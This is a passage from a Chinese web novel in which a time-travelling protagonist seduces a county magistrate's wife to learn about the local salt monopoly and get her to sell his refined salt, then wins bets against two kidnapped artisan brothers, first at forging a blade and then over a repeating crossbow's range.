“好,那我便先敬大哥一杯。”
说罢,一饮而尽。
酒一入口,他差点喷了出来。
一股说不出的酸涩味,与后世的白酒,无论是口感还是度数,完全没法比。
陈息皱着眉头艰难咽下,这东西除了稍微有些酒味,剩下的和马尿没什么分别。
见陈息表情不自然,牛奔有些尴尬道:
“老弟莫非是嫌酒不好?这可是我白山县上等的黄酒,为兄这里最好的酒了。”
牛奔说的是实话,如今粮食紧缺,百姓都吃不
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饱饭哪里敢酿酒,只有一些大户人家才能小酌几口,他这里的酒是白山县最好的。
“大哥不要误会,这酒相当淳厚,我这是第一口,先开开胃。”
陈息连忙解释,他现在可不敢得罪牛奔,还有事情求着人家呢。
牛奔闻言才松了口气,以为陈息看不上这酒呢。
“哈哈哈,来,我再给老弟满上。”
牛奔端起酒坛子就给陈息倒满,夫人在一旁小口的喝着,时不时用眼瞟一下陈息又慌忙低下,道不尽的万种风情。
陈息逐渐适应了这酒的味道,要说度数,也就七八度左右,这东西他自己能喝一大坛子,完全没有压力。
酒过三巡菜过五味,牛奔已经有了醉意,说话都大舌头了。
“骡弟......豁......大哥则里...还油......”
说着话,晃晃悠悠去拿酒坛子,可酒坛子在他眼里重影了,怎么都碰不到。
脑袋一晕,咣当一声趴桌子上了,没多时便打起了鼾。
陈息一拍脑门子,坏菜了。
自己卖盐的事还没说呢,大哥先醉倒了。
心中叹息一声,看来今天只能无功而返了。
就在牛奔醉倒的同时,陈息突然感觉大腿上有什么东西在来回摩擦,一伸手便握住了。
这手感,怎么那么像?
余光一扫桌下,一只洁白细腻的小脚,正被自己握在手里。
小脚被他握住后,五根葱白的脚趾紧缩在一块,又渐渐的伸展开来。
弯弯的足弓,粉色的脚底,白净的脚腕处,还戴着一条细细的黄金脚链......
陈息嘴角狠狠一抽,不用问也知道这只脚是谁的。
抬眼向夫人看去,只见她喝的微醺,红韵已经铺满了脸蛋,目光不敢与他对上,抿着红唇装做看不见。
夫人也是拼了,这几天心心念念的都是陈息,此刻借着酒意,一不做二不休,直接向他表明心意。
她不想再这么守着天阉过下去,她也要同其他贵妇们一样,有男人的滋润,才不惘活一辈子。
不然等到自己人老珠黄,就算有那个心思,身子也扛不住。
陈息咽了咽唾沫,脑中天人交战。
夫人的意思已经很明显,趁着大哥酒醉,就要和自己表露心意。
现在摆在他面前的问题有两个。
一,一不做二不休,就地将夫人拿下,让夫人在牛大哥那里吹吹枕边风,自己的买盐大计定会事半功倍。
二,这件事一旦露了,别说卖盐了,自己脑袋保得住保不住都两说。
陈息深吸了一口气,指尖在夫人的脚底轻轻滑动两下。
夫人忍不住痒,顿时抽回脚,扭过头来一脸幽怨的盯着陈息。
答不答应你给个痛快话,答应的话,现在我就要,不答应的话,我就说你对我图谋不轨。
反正房间里只有我们三人,老爷醉倒了什么都看不见,自己怎么说怎么是。
若是放过了你,此事一旦传将出去,自己的名声尽毁。
夫人下定了决心,目光不再幽怨,瞪着陈息等待他答复,自己已经表明了意思,就看你怎么做。
是生是死,在你一念之间。
陈息从夫人的眼神里看懂了一切,今天这事一旦处理不好,小命就要丢。
伸出手指一钩,夫人会意,挪动屁股坐在他旁边,双眼轻轻闭起。
陈息一手揽过她的身子,手扶在她的腰间,夫人身子一哆嗦,闭着双眼,红唇微张,等待风雨降临。
两人的嘴唇只有一线距离时,陈息开口,一股雄性气息直入夫人口鼻。
“只要嫂嫂答应我一件事......”
夫人脸蛋通红呼吸急促,哪里还管的了那么多,恨不得立即融化在他身体里。
“说......”
陈息嘴角捏起一抹坏笑,只要你肯听,那我可就说了啊。
第79章 能不能带我离开
“我制了点东西,想求大哥帮我寻些销路。”
两人的嘴唇离得很近,陈息说话时,还能嗅到夫人的唇脂香气。
夫人此刻腰肢被陈息搂着,早已意乱情迷,迷离的睁开眼睛,手伏在他的胸口,呵气如兰:
“什么东西...”
陈息从腰间摸出一个小罐子拿在手里,两人额头顶在一起,鼻尖相触,轻轻吐出一个字:
“盐。”
一个字出口,夫人身子明显一哆嗦,迷离的双眼瞬间恢复神志,轻轻推开陈息,不可置信道:
“你说什么?”
陈息瞧夫人听见盐字,一副如临大敌般模样,让他有些摸不着头脑:
“嫂嫂你怎么了,我说的是盐。”
陈息以为她没听清,再解释一遍。
夫人这次听清了陈息的话,整理一下凌乱的衣服,起身走向门口,侧着身子向外听了听,然后开口:
“翠翠。”
“夫人我在呢。”
“我和老爷陪陈神医饮酒,吩咐下去任何人都不许靠近内宅,包括你。”
“是的夫人。”
主仆间隔着一道门对话,不多时便听内宅门关闭的声音,随后整个内宅陷入安静。
夫人又在门口站了半晌,发现外面没声音了,才轻舒一口气,转身坐回椅子上。
调整了一下坐姿,然后盯着陈息一脸正色开口:
“你的盐?”
“是。”
陈息皱了皱眉,发觉事情不对,刚才和自己暧昧接触时,夫人都没这般小心,为何一提到盐,她会有这么大反应?
“拿给我看看。”
夫人伸出一只手,掌心向上,神情十分严肃。
陈息将小罐子放在她的掌心,全身肌肉都处于紧绷状态,夫人的反应很不对劲,一旦出现变故,自己要迅速开溜。
夫人将盐罐打开,倒出一些在掌心,秀眉皱了皱,然后鼻子贴上去闻了闻,用指尖蘸了一点放在嘴里尝了尝。
她的面上看不出任何表情,望向陈息的眼神凝重,然后轻声开口:
“这东西是你制的?”
“是的嫂嫂。”
话已经说出口,陈息想赖账也行不通了,只能大大方方承认,倒要看看夫人是什么态度。
大不了逃出这里,回家带着三个娘子跑路,这天大地大,能躲一时算一时。
夫人胸膛剧烈起伏一下,眼前的男人不光医术好,还是个非常厉害的猎户。
像这种高品质的精盐还会制作,那他能不能帮自己脱离苦海呢?
她犹豫了半晌,最终还是开口:
“幸亏你没和老爷说出口,不然你今天可走不了了。”
陈息眯起眼睛,夫人话中意思他听明白了,难不成县老爷......
“嫂嫂,此言何意。”
陈息心中已经有了答案,县老爷一定与王家有关系,不然夫人不会说出这种话。
好家伙,自己差点撞枪口上。
夫人深吸了两口气,抿着嘴唇,看了看醉倒的牛奔,又看看了陈息,心中挣扎万分。
陈息何等的眼力见,轻轻把夫人抱在腿上,右手顺势脱掉她刚穿好的鞋袜,手里把玩着玉足。
他是真拼了,这种情况下唯一的一种解法,就是出卖色相。
夫人见自己身子不知何时被他抱起,嗔怪的瞪了他一眼,小脚处又传来酥麻的感觉。
嘴中轻哼一声,一种异样的情愫笼罩全身。
脸蛋贴在陈息厚实的胸膛,口鼻涌入阵阵男子的气息,终于下定决心将真相告诉陈息:
“老爷是王家盐铺的靠山,你的盐若是寻常粗盐,他会把你一刀杀了。”
“但你的盐味道很纯,他就不只杀你这么简单了。”
夫人话说的很直白,陈息若是再听不懂,那她也没办法了。
陈息心思活络,自然听出夫人话中意思,自己卖粗盐是死。
卖这种精盐,一定会被抓起来囚禁,逼问出制盐方法后,再杀了。
陈息想明白了一切,顿感脊背发凉,惊出一身冷汗。
牛大哥表面上大大咧咧,背地里还有不为人知的另一面,怪不得他能当上县老爷,果然是人不可貌相啊。
幸亏他今天喝醉了,否则自己都不知是**的。
陈息双手不老实,挑逗得夫人很是难忍。
“能和我说说老爷的情况么?”
陈息双手同时使坏,夫人彻底败在阵来,本就沉醉于这种感觉,此时陈息语气温柔,更是击垮了她脆弱的防线。
声音喏喏的将老爷一切的情况都告诉了陈息。
原来牛奔是马匪出身,在江湖上干了几票大的后,选择金盆洗手。
自己则是之前被他抢来的,牛奔抢她当天,被羽箭射穿下体,从此再无那方面的能力。
牛奔无能之后,本想杀了她,但她胜在美貌又聪明,渐渐的牛奔拿她当智囊看待,带着她一起上任,成为了人人羡慕的县令夫人。
可她被抢来时是黄花大闺女,一晃十几年过去了,还是黄花大闺女。
真是应了那句老话。
走出半生,归来仍是处女。
这踏马找谁说理去。
这段故事听得陈息连连咂舌,好家伙,这回全对上了。
怪不得县牛奔行事作风大大咧咧,敢情以前是马匪,还干了不少伤天害理的事。
这些年通过给王家充当保护伞,背地里敛了不少的财。
夫人的父母就是被马匪害死的,她刚开始为了保命委曲求全,但在牛奔身边时间久了
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,愈发看不惯他的马匪作风。
近几年牛奔与周围的土匪勾结残害百姓,更是令她反感,所以现在她很少给牛奔出主意。
正巧去年朝廷派来一位县尉,主管白山县府兵大权。
县尉将牛奔的势力吃掉大半,由于县尉与州府有关系,牛奔还不敢拿他怎么样。
这才导致他整天无所事事,嗜酒如命。
这段故事被陈息消化完,看了看醉倒的牛奔,眼睛轻轻眯起。
我要卖盐的话,你我必将势不两立。
但是这条路,我还必须要走,说白了你也是土匪,手上沾染那么多无辜百姓的鲜血,有些事情应该能看得开。
别怪老弟自私了,圣母,是活不久的。
陈息心下有了决断,嘴角又捏起一抹坏笑,双手更是加大力度,搞得夫人身子不停的抖动。
“嫂嫂告诉我这些,不怕我到州府举报?”
夫人止住陈息正在使坏的手,白了他一眼后,缓缓开口道:
“我能将此事告你,就不怕你去举报。”
声音顿了顿,几滴泪珠顺着脸庞滑落,拿出手帕擦了擦眼睛,接着开口:
“就算你不去举报,他的事迟早也会败露,新来的县尉已经在查他的底细,恐怕要不了多久......”
夫人有些说不下去了,贴着陈息的胸膛小声哭泣。
哭了半晌,仿佛是下定了某种决心,擦干眼泪,转过身来期盼的看着陈息。
“你能不能带我走?”
陈息低眉沉思一会,夫人也是个苦命的女人,如果一切如她所说,牛奔这个县令老爷也坐不了几天了。
新来的县尉背靠着州府调查牛奔底细,明眼人都能看出是怎么回事,牛奔一倒台,王家同样会受到牵连。
这个时候,正是自己最佳入场时机。
“我可以带你走。”
夫人刚要欣喜,陈息下一段话便传来。
“但你要答应我个条件。”
夫人一愣,自己能帮上他什么忙呢?
“你说。”
“先帮我把苏家的精盐卖了,你手中拿的就是样品。”
夫人松了一口气,以自己的名望,随便传扬一下,卖些盐根本不算难事。
“我答应你。”
陈息将她的身子放回椅子上,还贴心的帮她穿好了鞋袜。
“不要透露盐的来源,剩下的交给我,这件事你做好了,我带你走。”
夫人神色认真开口:
“记住你说的话。”
陈息点点头,随后离开县府。
卖盐的事不可能不露的,趁他们调查时,自己也要做足准备。
还有那个新来的县尉,等精盐的消息传开,我再登门拜访。
正好借此机会,会一会王家。
第80章 是骡子是马,牵出来遛遛
牵过自己的马车,随手给七八名衙役一些铜钱,陈息在千恩万谢中离开。
又到铁匠铺买了些铁制器物,奈何没有铁矿资源,这些东西他还要回去做深加工。
鹰嘴山土匪是不会善罢甘休的,不出意外的话,过些日子便会来寻仇。
正好让村民们拿土匪练练胆子。
一个时辰后,陈息驾着马车赶回窝窝村。
离得老远,便看到家门口站着三个人。
领头人一脑袋白毛,站在院门口来回踱步,身后墙边绑着两个老头。
两个老头造型差不多,身体被五花大绑,每人少了一条腿,单腿杵地靠在墙上维持不倒。
陈息顿时两眼一黑,自己不是让宁乱去找木匠铁匠嘛,捆回来两个老头是什么意思?
一个少了左腿,一个少了右腿,俩老头此时靠在墙上,一脸愤愤不平。
陈息阴沉着脸来到近前,照着宁乱屁股就是一脚。
“你回来干啥?”
陈息看见他都压不住火了,让你找木匠铁匠,你踏马给我找俩老头,还是俩半成品。
自己手把手教你识数,叫你找10个人,你给我找来两个老头?严格来说,一个半。
宁乱捂着屁股转身,刚要呲牙,一看是大哥,立即怂了,挠挠头嘿嘿一笑:
“大哥,我把你要的人都带来了。”
陈息揉了揉脚面,这家伙屁股铛铛硬,下次要换个部位踢。
揉完了脚面也不搭话,转着圈在地上找东西,宁乱以为大哥丢钱了,跟着陈息屁股后转圈找。
陈息转了好几圈,终于找到一根还算粗壮的树枝,用手弯了弯,韧度还行。
转过身来,对着宁乱屁股就抽,一边抽一边骂:
“我踏马让你找5个木匠...”
“5个铁匠...”
“你给我找俩老头...”
“还踏马半成品...”
陈息每抽一下骂一句,把宁乱抽的嗷嗷叫,一边蹦一边喊:
“大哥...诶大哥...你听我...我解释啊...”
陈息抽累了,拿着树枝指着宁乱,由于树枝被抽的半断不断,从中间耷拉下来,像个小皮鞭。
“这俩老头是怎么回事?”
宁乱捂着屁股,疼的眼泪都要下来了,大哥脾气也太大了,不问青红皂白上来就抽。
“大哥你听我说,这俩老头可不简单,是湖岭出名的木匠铁匠。”
陈息深吸了几口气,面色依旧不好看,扭头再看一眼老头,转过头来还想抽他。
这不是废话嘛,腿都没了,肯定有名啊。
“我没猜错的话,这二位是姓李吧,外号铁拐李。”
宁乱眼睛一亮,大哥真是神了啊,刚见了一面,连人家姓什么都知道。
“对呀大哥,这俩老头是哥俩,确实是姓李,但不知道是不是铁拐李。”
陈息将眼睛转向别处,再也不想看这二货,捂着额头深喘了几口,已经无力吐槽。
缓了半天才平复心情,反正人都被这二货绑来了,自己还能咋整。
“你说他俩是木匠和铁匠?”
“对啊大哥,手艺杠杠的。”
陈息再次瞥了一眼两个老头,俩老头身上穿着麻布衣,从开线的地方向里看去,塞的是干草,
衣服里面鼓鼓囊囊的,不知道的还以为这袄咋这么厚。
脚底下每人一只草鞋,磨得不成样子。
陈息从怀里掏出几个铜钱塞到宁乱手里:
“院里有木棒,给他俩一人做个拐,再买双鞋送回去吧。”
陈息说完扭头就走,他已经不抱希望了,木匠铁匠全自己来吧,以后有类似的任务,打死他都不让宁乱去办。
见大哥要走,宁乱赶紧拦住,自己好不容易绑来的人,怎能放回去。
“大哥大哥你听我说,这俩老头手艺很好的,以前都在军队里做工。”
陈息闻言停下脚步,眯着眼睛问道:
“在军队里做过?”
“是的大哥,我走了好几个村子,因为最近闹匪患,木匠铁匠都在村里保护家人,不敢出门做工。”
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“就这俩老头是光棍,我好说歹说,他俩也不愿意来,我一生气就都给绑来了。”
陈息有些狐疑,按道理说,在军队里做工,手艺应该是差不了的。
再仔细打量一下两个老头,虽说上了些年纪,但体格很魁梧,手上老茧很厚,显然常年做工。
“二位师傅,怎么称呼?”
俩老头听陈息问话,不屑的将头扭到一边去,两张老脸气的通红。
刚才陈息和宁乱的对话,他俩可是都听见了。
先是嫌弃自己残疾,后又不相信自己的手艺,真当老夫是那群废物么。
“小子,看在你说给我俩做拐买鞋的份上,让这白毛小子道歉,再送我们回去,这件事权当没发生。”
两个老头很倔,虽说被绑着,但丝毫不惧。
陈息微微点头,看这份架势,手上能有点能耐,最起码气势上不弱。
“道歉可以。”
“我瞧二位师傅也是手艺人,恰巧我也是。”
“不如我们比比手艺,若是赢了我,我不光给你们道歉,还送你们一串钱赔礼。”
两个老头被陈息这句话逗笑了,没听错吧?这小娃娃要和我们比手艺?
“哈哈,小娃娃你此言当真?”
见两个老头着道了,陈息微笑点头:
“说一不二。”
两个老头压根没瞧得起陈息,年纪轻轻的,就算打娘胎里学医,也不可能比得过自己。
“好,木匠铁匠你比什么?”
陈息双手一摊,完全没把两个老头当回事:
“都行,我让你俩一起来。”
两个老头被这句话怼怒了,老脸气的涨红。
“好你个不知天高地厚的小娃娃,把我们解开,今天让你见识见识,什么叫人外有人。”
“乱子,把他俩解开。”
陈息说完头也不回的进院,嘴角微微翘起。
从他们手上的老茧就能看出二人确实有两下子的,想要两个老家伙服从,今天得好好活动一下了。
是骡子是马,牵出来遛遛。
第81章 大巧不工,重剑无锋
陈息来到后院炼钢窑,隔壁就是烧砖窑,直接引来炭火很是方便。
宁乱将两个老头解开了,给他们两副拐,带着俩老头进了后院。
两个老头一个黑脸,一个红脸,很好区分。
红脸老头是老大,名叫李大,黑脸是老二,名叫李二。
李大是铁匠,见到陈息的炼钢窑后,嘴上的胡子抖了抖,对这种简陋的窑不屑一顾。
“小娃娃,你是要同老夫比炼铁?”
陈息微微一笑,做了一个请的手势。
“我这里东西齐全,看你岁数大了,我也不欺负你,想做什么就做什么,你先请吧。”
李大被陈息这嚣张样子气的不轻,自己打了一辈子铁,就算在军中铁铺,也无人敢小瞧自己。
今天竟被个小娃娃看扁?
李大心里憋着一口气,查看一下案台上的工具,拿起来试了试,倒是趁手,回头说道:
“小娃娃,输了的话,别忘了你的一串钱。”
李大心里发誓,今天不好好教训教训你个毛头小子,老夫白活了这么大岁数。
至于那一串钱他不敢想,他也不认为陈息输了会给他,只当是赌气的话。
陈息一听老头提钱,大嘴一咧,从怀里摸出一个大银锭,往案台上一拍:
“加注!”
两个字一出口,周围烧窑的村民也都好奇起来,想看看村长在和老头在赌什么。
但他们此刻都在做工,老板在面前又不敢偷懒,只能一边做工,时不时的往这边偷看。
“这是10两银子,如果你赢了,带走。”
“如果你输了,留下给我打铁一个月,管饭,但工钱不发。”
陈息说的很清楚,靠本事拿钱,没那个本事,就留下来替**活。
很公平。
李大眯了眯眼,眼前的小娃娃说的倒是公平,但自己赢了以后,真能拿走那锭银子?
陈息见李大犹豫,知道他心里在顾忌什么,拍了三下手,大喊一声:
“大家把手里的活计放放,本村长和这个老头比试炼铁,大家都过来做个见证。”
工人们一听这话,连忙放下手里的活计,不多时便围住了铁窑,一个个都喜滋滋的看热闹。
二牛很聪明,看懂了老头的顾虑,开口道:
“老师傅,这位是我们窝窝村的村长,说话向来算数,你赢了村长,这银子保准你能拿走。”
见二牛放话了,其他工人也都七嘴八舌的说了起来。
“我们村长说话一言九鼎,答应你的事绝对会办到,我们大家都能证明。”
“老师傅你就赶快露一手吧,到时候拿着银子回家,你就是你们村里的财主了。”
“那可是10两银子啊,我这辈子都没见过这些钱。”
工人们看热闹不怕事大,他们可不信村长会输。
就算村长输了,那银子老头也拿不走,看着村长后面那白毛小子了么?
那是村长养的打手,10个土匪都不够他打的,何况你们两个瘸老头了。
在他们眼里,宁乱完全能做到,猛踹瘸子那条好腿。
李大有些意外,眼前的小娃娃竟然还是村长。
那些村民们还这么拥护他,看来今天这银子到手了。
村长嘛,肯定是说话算话的。
李大那张老脸上难得有了一丝笑容:
“小娃娃你既然是村长,老夫便信你。”
话音一转:
“你放心,这银子老夫不白拿你的,今天就给你们窝窝村露一手。”
“大家想看的就仔细看好了,学到了都是你的。”
李大说话一副老师傅派头,很多师傅打铁时是不许外人看的,教会了徒弟饿死师傅。
今天为了10两银子,老头也是拼了。
露胳膊弯袖子就开始忙活起来。
炉中火旺,不一会的功夫便把铁器烧成铁水。
李大勾出铁水,撇了眼陈息,轻蔑一笑:
“看你这小娃娃身强体壮,老夫便给你打一把刀吧,虽不值10两银子,但也是珍贵精铁刀了。”
李大还替陈息考虑,拿了人家10两银子,好歹给人留下点东西,不然小娃娃可亏**。
陈息则是哈哈一笑,好你个老头,要给我打把精铁刀?
牛逼吹得响当当啊,今天我就看看,你能打出什么刀来。
“好好好,那我就等着你的精铁刀了。”
陈息双手交叉在胸前,饶有兴致的看着李大,他也想看看这个时代的铁匠水平,究竟有没有值得借鉴的东西。
“小娃娃,看好了。”
李大收敛神情开始认真操作,虽说他岁数有些大了,可一旦握住铁匠工具,整个人的气势都变了。
铁锤在手中上下翻飞,烧红的铁块几下便敲出大片的杂质,三十炼、五十炼、直到七十二炼成型。
陈息一边看着老头打铁,一边暗自点头。
在这个年代有着这样的手艺,这老头算是其中的佼佼者了。
不过这些工艺在他眼里,意义不大。
只能说,勉强到达残次品界限,距离及格线,还差了7564.25米。
老头将精铁剑淬火,回火,火候把控十分精准,动作一气呵成。
“好。”
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>陈息叫了声好,所有村民纷纷鼓掌,能亲眼见到如此高水平的铁匠打铁,他们很兴奋。
老天爷饿不死手艺人,尤其这个时代,百姓饭都吃不饱,你拥有一门手艺,走到哪里都是饭碗。
李大淡淡一笑,将精铁刀扔在案台上,伸手便将10两银子揣进怀里。
“自己去装个刀柄吧,老夫先回了。”
说完话就想带着李二走,有了钱,自己就能买些衣粮了,没工夫在这耗着。
“等等。”
陈息一脸玩味,这老头啥意思,我的钱是那么好拿的么?
宁乱一听大哥要耍赖,一步跨到李大面前,眯着眼珠子大喝道:
“老头,拿了我大哥的钱就想走?”
“把那条好腿给我留下。”
说完话就要踹老头,踏马的,敢拿我大哥银子,你那条好腿也别留着了。
陈息一脚踹在宁乱屁股上,你小子疯了?我是这个意思么?
“乱子,咱们要以德服人。”
陈息说的语重心长,可不能让宁乱胡来,老头就剩一条腿了,以后还指着他为自己干活呢。
“好嘞大哥。”
宁乱揉了揉屁股,理解了大哥话中意思,不就是以德服人么,他擅长啊。
转身对着李大一瞪眼珠子,伸手就从李大怀里把银子夺来。
“老头我告诉你,在我们窝窝村,地上掉个铜钱都得姓陈,我大哥就是德。”
“今天我不揍你了,滚吧。”
转过身来将银子塞进陈息怀里,咧嘴一笑,大哥咋样,我以德服人服的行不行?
陈息都要被这个二货气**,薅着他的白毛小辫子,一指工人挖的那片黏土地。
“乱子,今天这块地你去挖,争取给我挖口井来。”
宁乱挠挠脑袋,大哥这是要喝井水了。
“好嘞大哥。”
扛着锄头就去干活,他没什么心眼子,大哥让干啥就干啥,听大哥没错的。
给宁乱找点活干,不然这小子到处惹幺蛾子。
陈息将银子再次摆回案台,冲着李大呵呵一笑:
“老师傅表演完了,下面是不是该我了。”
李大刚才被宁乱吓坏了,以为陈息要耍无赖,现在听他这话的意思,难道还想和老夫比比?
“好,老夫便看看你个小娃娃有什么本事。”
李大走不了,只能在一旁干瞪眼,心想待会等他失败了,自己拿了银子再走不迟。
陈息让牛二给李大搬了张凳子坐下,随后一撸袖子开干。
今天就让你们这些所谓的大家工匠,看看超乎这个时代的理念吧。
第82章 下一个就办你
李大一撇嘴,坐椅子上看着陈息操作。
瞧他动作流畅,看样子是做过,但再怎么做过,也不可能胜得过老夫。
仗着一副好身板子罢了,你可知道,铁匠一行,可不单单需要力气这般简单。
李大没什么兴趣看陈息打铁,见桌子上有水,端起碗来就喝。
“铛——”
一声巨响,老头刚进嘴的水,全部喷了出来。
回头一看,陈息一锤子下去,烧红的铁块瞬间被砸下去个大坑。
李大嘴角一哆嗦,这......这是什么力气?
一锤子赶上自己十锤子了。
他刚说完,打铁不单单靠力气,瞬间被陈息打脸。
李大老脸天生就红,现在更是变成了酱紫色,目光一瞬不瞬的盯着那块烧红的铁疙瘩。
陈息将上衣脱掉,充满**力的肌肉线条分明,每一锤落下,都震的周围人耳膜嗡嗡作响。
大家都自发的后退一步,一脸震惊的望着陈息轮锤。
村民们心里都在想,村长好壮的身体,好大的力气,怪不得能猎到熊瞎子。
在这个吃不饱饭的年代,村长这副身板子就是万中无一。
一些妇人看得直羡慕,自家男人能有村长一半的本事就好了,看那肩,看那腰,看那胯......
又向屋里望了望,妇人们抿嘴偷笑,村长的三位夫人夜里可享福了。
陈息一口气锻打百炼还不够,将铁块回炉,拉动风箱,炉火瞬间纯青。
李大瞪大了眼睛,望着那风箱,眼睛一眨不眨。
刚才这东西他也觉得好奇,原来是这个作用。
再看看炉中火焰,羡慕的哈喇子都流出来了,他家里也有炼铁窑,但和陈息这个完全没法比。
那箱子看着挺不起眼的,原来内有玄机。
陈息反复锻打,一连几个百炼下去,刀身定型。
这把刀,他是按照后世的唐刀为模板制作的,作为近身武器可马虎不得。
土匪的刀枪虽然比不上自己,但他们胜在人多,而且全是些亡命之徒。
手里的家伙,必须要碾压他们。
回炉,接下来便是淬火。
陈息选择用盐淬,因为这种刀身,盐淬最佳。
李大哪里见过这个,他早就不坐着了,架着拐伸长了脖子看。
这是什么物件,雪白雪白的,这东西能淬火?
在众人疑惑的目光中,盐淬成功,陈息完成最后一步。
拿出李大刚打好的那把刀,塞在他手里。
“老头,拿好了。”
李大知道陈息要干什么,由于没有刀柄,双手死死握住刀茎。
村民们知道好戏马上就要登场了,连忙围了过来观瞧。
虽然不知道村长做的是什么,但从样子和长度来看,应该是把刀吧?
不过这刀怎么这么长?
村长的刀,能强过老头的刀吗?
村民们都在担心,要是刚才直接赖账就好了,现在若是比不过,只能喊宁乱把老头腿踹折了。
村民们看不懂,李大却是看的非常懂,那可是几百炼的刀啊。
自己输是输了,无论是力气,还是百炼,都输了。
他现在只希望,陈息刚才淬火的白物件不行,这样自己才有一丝机会。
李大双臂用力,狠狠握紧了刀,咽了口唾沫,大喝一声:
“来!”
陈息看都没看,反手随意挥出一刀。
寒芒乍现。
没有剧烈的金属碰撞声音,咔嚓......声音很是清脆。
李大手中的精铁刀,只剩下半截了。
断口处整齐光滑。
大巧不工,重剑无锋。
他现在,终于理解到了这句话的含义。
李大,包括在场所有人,都傻眼了。
呆愣愣的看着李大手中的半截刀,再看看陈息
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那把唐刀。
刀身如镜,通体泛寒,一丝缺口都没有。
“好,村长赢了。”
二牛反应快,大喝了一声。
紧接着所有村民热烈欢呼鼓掌,窝窝村又炸窝了。
李大噗通一声坐在地上,耷拉着脑袋,目光无神。
他输了。
彻底的输了。
输在一个小娃娃手里。
李大缓了半晌才回过神来,带着复杂的目光望向陈息。
这......这是怎么做到的?
陈息玩味一笑,知道这老头不解,但现在还不是教他的时候。
把唐刀丢到李大身前,淡淡开口:
“将刀刃开了,刀柄不需要你做,你不是有个木匠弟弟么,这活计是他的。”
一旁的李二从开始到现在一句话没说,自己的大哥输了,他可没输。
凭什么让自己装刀柄?
论起木匠手艺,他还没服过谁。
但自己在人家地盘上,不敢放狠话。
刚才大哥放狠话,差点让那白毛小子踹腿,他胆子小,更珍惜仅有的一条腿。
李二憋着嘴不说话,一张黑脸此刻更黑了。
他不服气,也不敢放狠话,心中纠结万分。
陈息挠了挠脑袋,这李二咋不说话呢?
你大哥那么尿性,到你这咋了?
衰了?
见陈息目光扫来,李二吓得一哆嗦,赶紧把头低下。
陈息一挑眉毛,这老头真衰了?
“咳咳...你是去安刀柄,还是和我比比?”
陈息看出老头胆小,怕吓着他,故意将声音放的很低。
李二依旧低着头,一张老脸黑的像锅底,弱弱的吐出一个字,声音细弱蚊蝇:
“比。”
陈息差点乐出声来,这老头有点意思啊。
用最怂的语气,说出最硬的字。
好好好,你不是要比么?
下一个就办你!
第83章 连**
“好,既然你不认输,那跟我来吧。”
陈息招呼李大李二一起回木工屋,给牛二使了个眼神,牛二立即会意。
“大家都休息够了吧,赶快回去做活计。”
村民们虽然很想看村长和李二比试,但拿着村长的工钱,不好意思休息太久。
纷纷跟着二牛去做工。
回到木工屋,伍怡和宁宁正在打磨**机,其余男工都在做些力气活。
陈息走时不许两个小丫头组装,她们就带着男工做了很多零件。
两个小丫头见到陈息回来,都热情的上前打招呼,她们很想看看师爷口中说的连**,组装后是什么威力。
陈息见做了那么多零件,眼睛一亮,这些零件至少能组装五副连**。
将男工全部打发走,陈息带着两个老头进屋。
这次李大一言不发,他倒不是在乎输赢,他在乎的是陈息的锻打工艺和淬火技术,他打了一辈子铁,也没见到过这种工艺。
还有那个能吹火的木匣子,自己就败在火温不够做不到百炼。
李大整个心思都放在刚才的锻铁上,进屋就往地上一坐,闭着眼沉思。
输了就要认,自己一定要在这一个月中,偷学到他的手艺。
李二依旧黑着脸,见到屋内灯凿斧锯一应俱全,地上还有硬木,全部是上好的材料。
再看那些零部件,他轻轻皱了皱眉,这些东西他都不认识,看那形状,像是某种武器。
陈息见李二这副表情,微笑着点点头,看不明白就对了,若是让你看明白了,小爷这机密可保不住了。
“认识这些东西么?”
见陈息和自己说话,李二很诚实的摇了摇头。
“这些东西组装起来,叫**。”
李二诧异的看着眼前的零部件,他怎么也想不到这是**。
大御是有**这种武器的,威力最强的**,也只能射到50步左右。
由于威力太小,又装箭复杂,敌军有甲胄护体很难射穿,所以并没有大量列装军队。
在得知是**后,李二轻蔑的撇撇嘴,又迅速恢复如初,但他脸上细微的表情变化,丝毫没逃过陈息的双眼。
陈息轻笑一声,并未与他一般见识,自己的**,可不是他认知里的**。
“你不是想比么,咱们就赌一赌这**的射程和威力,如何?”
李二眼睛一亮,赌射程和威力,这东西他可太了解了,正撞到自己的专业上。
低头看向陈息腰间,那意思不言自明,那10两银子赶快拿出来吧。
陈息轻声一笑,从腰间掏出刚才那锭银子拍在桌上。
“老规矩,你赢了,银子拿走。”
“输了,给我做一个月的工,管饭不给工钱。”
李二的眼睛直勾勾的盯着银子,就像那银子是他的一样,狠狠咽了口唾沫,重重一点头。
陈息笑了,笑的很坏。
就像你能赢似的,过过眼瘾得了。
就算你侥幸赢了,自信能跑得了宁乱的以德服人?
陈息不废话,直接说出规矩:
“猜猜这**,能射多远。”
李二低着头,眼珠子转了转,大御最强的**,射程50步,他这个东西还未必能射到。
“60步。”
李二为了拿银子,脸都不要了。
说出了一个自己都不相信的数字,在10两银子面前,这张黑脸不要也罢。
陈息听完,恨不得给这个老阴比一脚。
他买了这么多次物资,早就打探出来大御各种武器的威力,李二的这点小心思岂能糊弄过他?
行,看在这个免费劳力的面上,也不跟你争了,你说多少便是多少吧。
“如果射在大树上,入木几何?”
李二眼珠子又是一转,大御的**箭60步外,根本射不到大树,更别提入木几何了。
但为了稳妥起见,还是吐出两个字。
“寸余。”
陈息心里暗骂李二无耻,这个老阴比,拿我当三岁娃娃糊弄?
做了一个深呼吸,再看看李二那张黑脸,直接把他气乐了。
排行老二的都这么阴么?
自己也是排行老二,但胜在为人忠厚老实,从不算计人。
他要为天下的老二正名。
“行,如果我在百步外射中大树,入木两寸,怎么说?”
这次李二毫不犹豫开口:
“你赢。”
陈息点点头,今天我就让你死个明白。
心里的连**,他心里有底,可以说是稳操胜券。
陈息亲自动手组装,今天必须要给这个老阴比点颜色看看。
“等下...”
陈息回过头来,一脸疑惑的盯着李二,你老阴比还要咋样?
李二见陈息目光落在自己身上,低着头指了指那锭银子。
“你失败了,我拿走。”
陈息一听这话,笑的无比灿烂,这可是你自找的,又从怀里掏出一块银子往桌上一拍:
“我输了,两锭银子都是你的。”
“但...”
“我若是赢了的话,你们两个给我做一年的工,还是管饭没工钱。”
今天我就不信了,治不了你个老阴比。
李二看了看桌上的两锭银子,又看了看坐在地上的李大。
他们的对话李大都听见了,冲着李二一点头。
自己打铁输了是输在那个木匣子上,但他相信老二的眼力,这奇怪的**,能射出50步都是意外,更别提百步了。
见李大点头,李二轻轻“嗯”了一声,代表认可了赌注
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。
陈息见俩老头答应了,露出一脸坏笑,这都是你们自找的,我可没逼你们。
